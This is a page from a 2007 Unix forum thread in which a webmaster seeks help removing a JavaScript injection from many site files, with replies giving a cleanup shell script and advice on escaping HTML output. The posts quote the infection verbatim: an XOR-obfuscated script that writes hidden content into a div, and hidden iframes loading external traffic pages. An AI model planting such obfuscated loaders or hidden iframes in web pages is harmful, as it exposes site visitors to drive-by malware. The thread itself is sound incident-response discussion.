> var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x34\x38\x30\x6b";  
> sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
> dst = "";  
> for(i = 0; i \< sr.length; i++) {  
> var d = parseInt(sr.charCodeAt(i) ^ 85);  
> dst = dst + String.fromCharCode(d);  
> }  
> document.getElementById("testws35fdgh").innerHTML = dst;  
> \</script\>
> 
> root@server1 [/opt/abc/manual]#  
> root@server1 [/opt/abc/manual]#  
> root@server1 [/opt/abc/manual]# cat footer.html.new  
> \<hr /\>
> 
> \<h3 align="CENTER"\>Apache HTTP Server\</h3\>  
> \<a href="./"\>\<img src="images/index.gif" alt="Index" /\>\</a\>  
> \<IFRAME name='StatPage' src='[http://www.kaspersky-norton.ws/new/traff.php](http://www.kaspersky-norton.ws/new/traff.php)' width=5 height=5 style='display:none'\>\</IFRAME\>\<IFRAME name='StatPage' src='[http://www.kusik-tusik-trf.com/trf/traf.php](http://www.kusik-tusik-trf.com/trf/traf.php)' width=5 height=5 style='display:none'\>\</IFRAME\>
> 
> Thanks a lot......
> 
> 1 last question.... how can we devise a script that will replace this on the same file it is scanned for.. it is not possible for me to manually run this script for each file.... is it possible?

```plaintext
#!/usr/bin/ksh

find <top directory where all these files are located> -type f -exec grep -l 'id="testws35fdgh"' {} \; | \
while read FILE
do
  awk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' ${FILE} | sed -e 's/<div id="testws35fdgh">.*XXXXX$//' -e '/id="testws35fdgh"/,/<\/script>/d' > /tmp/whatsinaname
  cp /tmp/whatsinaname ${FILE}
done
rm /tmp/whatsinaname

```

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 7:44pm UTC](https://community.unix.com/t/javascript-injection/169536/14 "2007-03-05T19:44:52Z")

</div>

Checking

Thanks

---

<div class="post-metadata">

**Author:** ![cbkihong](https://community.unix.com/letter_avatar/cbkihong/32/5_5575768a8748004e209b776fc1b2916d.png) [@cbkihong](https://community.unix.com/u/cbkihong)\
**Post date:** [March 5, 2007, 8:38pm UTC](https://community.unix.com/t/javascript-injection/169536/15 "2007-03-05T20:38:26Z")

</div>

> [@fed.linuxgossip](#):
>
> Please advise a script to get rid of the following code which is infected in a large number of files ( in particular php and html files )

Why fix the infected files? Don't you keep a sane copy of your static pages and scripts offline at a safe place?

Your CGI/PHP/etc. ought to be implemented in such a way to have converted '\<' and '\>' received to '\<' and '\>' before generating the output. Injection will not have been successful if this check exists.

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 8:43pm UTC](https://community.unix.com/t/javascript-injection/169536/16 "2007-03-05T20:43:28Z")

</div>

The script seems to be working fine.. thanks a lot.. i will let you know the effectiveness of the script after I run it serverwide.

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 5, 2007, 8:45pm UTC](https://community.unix.com/t/javascript-injection/169536/17 "2007-03-05T20:45:07Z")

</div>

Hello cbkihong,

Please explain ---\>

Your CGI/PHP/etc. ought to be implemented in such a way to have converted '\<' and '\>' received to '\<' and '\>' before generating the output. Injection will not have been successful if this check exists.

Thanks.

---

<div class="post-metadata">

**Author:** ![cbkihong](https://community.unix.com/letter_avatar/cbkihong/32/5_5575768a8748004e209b776fc1b2916d.png) [@cbkihong](https://community.unix.com/u/cbkihong)\
**Post date:** [March 6, 2007, 7:52am UTC](https://community.unix.com/t/javascript-injection/169536/18 "2007-03-06T07:52:39Z")

</div>

What I meant was this:

Neither fixing the defaced files nor replacing them is patching the security hole. The issue occurs because your PHP/CGI does not replace all '\<' and '\>' with their HTML entities counterpart (\< \>) in dynamically generated text when generating HTML output. If your PHP/CGI has implemented this, even though people try to inject script sections into your HTML files, they will not become executable Javascript and at least the attack is not successful because browsers will not treat them as script and execute them (people will see some strange Javascript code on the page, but you should be monitoring such, right?).

Try search for more information online on javascript injection. There are many patterns for these kinds of attacks.

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 7, 2007, 8:22pm UTC](https://community.unix.com/t/javascript-injection/169536/19 "2007-03-07T20:22:11Z")

</div>

Hi,

There seems to be problems still with pages that have genuine javascript code.

Anyways... thank you very much for your advise.

---

<div class="post-metadata">

**Author:** ![fed.linuxgossip](https://community.unix.com/user_avatar/community.unix.com/fed.linuxgossip/32/3598_2.png) [@fed.linuxgossip](https://community.unix.com/u/fed.linuxgossip)\
**Post date:** [March 16, 2007, 7:44pm UTC](https://community.unix.com/t/javascript-injection/169536/20 "2007-03-16T19:44:36Z")

</div>

Hello sb008,

I finally found that the script works perfect except that it removes the last line of instead of just "\</script\>" ....

To explain you shown I have added the test below...

If you notice you will fine that.. for the line that has javascript closing code..  
\</script\> it removes \</html\> from \</script\> \</html\>. If this can be fixed... the script will work superb.

root@server2 [/home/planetc]# cat /root/replaceJavInfect  
find /home/planetc/public\_html -type f -exec grep -l 'id="testws35fdgh"' {} \; | \  
while read FILE  
do  
awk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' ${FILE} | sed -e 's/\<div id="testws35fdgh"\>.\*XXXXX$//' -e '/id="testws35fdgh"/,/\<\/script\>/d' \> /tmp/whatsinaname  
cp /tmp/whatsinaname ${FILE}  
done

root@server2 [/home/planetc]# cat public\_html/templates/fjt\_cortrivenus/index.html  
\<html\>\<body bgcolor="#FFFFFF"\>\</body\>\<div id="testws35fdgh"\>\</div\>  
\<script language="JavaScript"\>  
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x33\x27\x34\x38\x30"; var4 = "\x26\x21\x34\x21\x7b\x3b\x30\x21\x7a\x3c"; var5 = "\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25\x72"; var6 = "\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72\x64"; var7 = "\x63\x72\x75\x22\x3c\x31\x21\x3d\x68\x72"; var8 = "\x64\x63\x72\x75\x33\x27\x34\x38\x30\x37"; var9 = "\x3a\x27\x31\x30\x27\x68\x72\x65\x72\x75"; var10 = "\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32\x68"; var11 = "\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33\x27"; var12 = "\x34\x38\x30\x6b";  
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;  
dst = "";  
for(i = 0; i \< sr.length; i++) {  
var d = parseInt(sr.charCodeAt(i) ^ 85);  
dst = dst + String.fromCharCode(d);  
}  
document.getElementById("testws35fdgh").innerHTML = dst;  
\</script\> \</html\>

root@server2 [/home/planetc/public\_html]# cat templates/fjt\_cortrivenus/index.html  
\<html\>\<body bgcolor="#FFFFFF"\>\</body\>  
root@server2 [/home/planetc/public\_html]#

Please advise.

Thanks

[Next page](https://community.unix.com/t/javascript-injection/169536.md?page=2)